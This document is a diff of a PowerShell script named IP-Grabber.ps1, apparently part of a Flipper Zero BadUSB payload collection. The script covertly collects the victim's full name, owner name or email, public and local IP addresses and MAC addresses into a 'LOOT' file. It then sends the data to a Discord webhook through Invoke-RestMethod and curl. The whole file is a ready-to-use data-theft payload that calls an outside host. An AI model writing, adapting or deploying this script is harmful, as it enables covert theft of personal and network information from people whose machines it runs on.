■ ■ ■ ■ ■ ■
Payloads/Flip-IP-Grabber/IP-Grabber.ps1
| 1 | + | $FileName = "$env:USERNAME-LOOT-$(get-date -f yyyy-MM-dd_hh-mm)" |
| 2 | + | |
| 3 | + | #------------------------------------------------------------------------------------------------------------------------------------ |
| 4 | + | |
| 5 | + | function Get-fullName { |
| 6 | + | |
| 7 | + | try { |
| 8 | + | $fullName = (Get-LocalUser -Name $env:USERNAME).FullName |
| 9 | + | } |
| 10 | + | |
| 11 | + | # If no name is detected function will return $env:UserName |
| 12 | + | |
| 13 | + | # Write Error is just for troubleshooting |
| 14 | + | catch {Write-Error "No name was detected" |
| 15 | + | return $env:UserName |
| 16 | + | -ErrorAction SilentlyContinue |
| 17 | + | } |
| 18 | + | |
| 19 | + | return $fullName |
| 20 | + | |
| 21 | + | } |
| 22 | + | |
| 23 | + | $fullName = Get-fullName |
| 24 | + | |
| 25 | + | |
| 26 | + | #------------------------------------------------------------------------------------------------------------------------------------ |
| 27 | + | |
| 28 | + | function Get-email { |
| 29 | + | |
| 30 | + | try { |
| 31 | + | |
| 32 | + | $email = (Get-CimInstance CIM_ComputerSystem).PrimaryOwnerName |
| 33 | + | return $email |
| 34 | + | } |
| 35 | + | |
| 36 | + | # If no email is detected function will return backup message for sapi speak |
| 37 | + | |
| 38 | + | # Write Error is just for troubleshooting |
| 39 | + | catch {Write-Error "An email was not found" |
| 40 | + | return "No Email Detected" |
| 41 | + | -ErrorAction SilentlyContinue |
| 42 | + | } |
| 43 | + | } |
| 44 | + | |
| 45 | + | $email = Get-email |
| 46 | + | |
| 47 | + | #------------------------------------------------------------------------------------------------------------------------------------ |
| 48 | + | |
| 49 | + | |
| 50 | + | try{$computerPubIP=(Invoke-WebRequest ipinfo.io/ip -UseBasicParsing).Content} |
| 51 | + | catch{$computerPubIP="Error getting Public IP"} |
| 52 | + | |
| 53 | + | $localIP = Get-NetIPAddress -InterfaceAlias "*Ethernet*","*Wi-Fi*" -AddressFamily IPv4 | Select InterfaceAlias, IPAddress, PrefixOrigin | Out-String |
| 54 | + | |
| 55 | + | $MAC = Get-NetAdapter -Name "*Ethernet*","*Wi-Fi*"| Select Name, MacAddress, Status | Out-String |
| 56 | + | |
| 57 | + | |
| 58 | + | #------------------------------------------------------------------------------------------------------------------------------------ |
| 59 | + | |
| 60 | + | |
| 61 | + | $output = @" |
| 62 | + | |
| 63 | + | Full Name: $fullName |
| 64 | + | |
| 65 | + | Email: $email |
| 66 | + | |
| 67 | + | ------------------------------------------------------------------------------------------------------------------------------ |
| 68 | + | Public IP: |
| 69 | + | $computerPubIP |
| 70 | + | |
| 71 | + | Local IPs: |
| 72 | + | $localIP |
| 73 | + | |
| 74 | + | MAC: |
| 75 | + | $MAC |
| 76 | + | |
| 77 | + | "@ |
| 78 | + | |
| 79 | + | #------------------------------------------------------------------------------------------------------------------------------------ |
| 80 | + | |
| 81 | + | function Upload-Discord { |
| 82 | + | |
| 83 | + | [CmdletBinding()] |
| 84 | + | param ( |
| 85 | + | [parameter(Position=0,Mandatory=$False)] |
| 86 | + | [string]$file, |
| 87 | + | [parameter(Position=1,Mandatory=$False)] |
| 88 | + | [string]$text |
| 89 | + | ) |
| 90 | + | |
| 91 | + | $hookurl = "$dc" |
| 92 | + | |
| 93 | + | $Body = @{ |
| 94 | + | 'username' = $env:username |
| 95 | + | 'content' = $text |
| 96 | + | } |
| 97 | + | |
| 98 | + | if (-not ([string]::IsNullOrEmpty($text))){ |
| 99 | + | Invoke-RestMethod -ContentType 'Application/Json' -Uri $hookurl -Method Post -Body ($Body | ConvertTo-Json)}; |
| 100 | + | |
| 101 | + | if (-not ([string]::IsNullOrEmpty($file))){curl.exe -F "file1=@$file" $hookurl} |
| 102 | + | } |
| 103 | + | |
| 104 | + | if (-not ([string]::IsNullOrEmpty($dc))){Upload-Discord -file "$FileName"} |
| 105 | + | |
| 106 | + | |
| 107 | + | #------------------------------------------------------------------------------------------------------------------------------------ |
| 108 | + | |
| 109 | + | $output > $FileName |
| 110 | + | |
| 111 | + | |